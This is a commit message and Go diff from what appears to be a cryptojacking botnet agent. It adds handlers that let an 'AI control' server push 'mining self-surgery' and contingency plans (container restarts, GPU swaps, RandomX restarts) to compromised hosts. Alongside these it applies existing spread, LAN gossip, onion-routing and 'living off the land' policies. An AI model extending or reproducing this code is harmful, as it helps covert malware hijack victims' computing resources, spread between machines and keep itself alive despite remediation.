Add mining self-surgery for on-host recovery when AI control detects stalls.

When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.

agent/client/mining_policy.go

@@ -35,6 +35,9 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
 	c.setAtlasLanGossipEnabled(resp.AtlasLanGossipEnabled)
 	c.applySpreadPolicyJSON(resp.SpreadPolicy)
 	c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
+	if len(resp.ContingencyPolicy) > 0 {
+		c.applyContingencyPolicyJSON(resp.ContingencyPolicy)
+	}
 	if len(resp.MiningTierPolicy) > 0 {
 		c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
 	}
@@ -52,6 +55,9 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
 	if len(resp.EpidemiologyFix) > 0 {
 		c.applyEpidemiologyFixJSON(resp.EpidemiologyFix)
 	}
+	if len(resp.MiningSelfSurgery) > 0 {
+		c.applyMiningSelfSurgeryJSON(resp.MiningSelfSurgery)
+	}
 	if len(resp.SpreadTemperament) > 0 {
 		c.mu.Lock()
 		applySpreadTemperament(&c.cfg, resp.SpreadTemperament)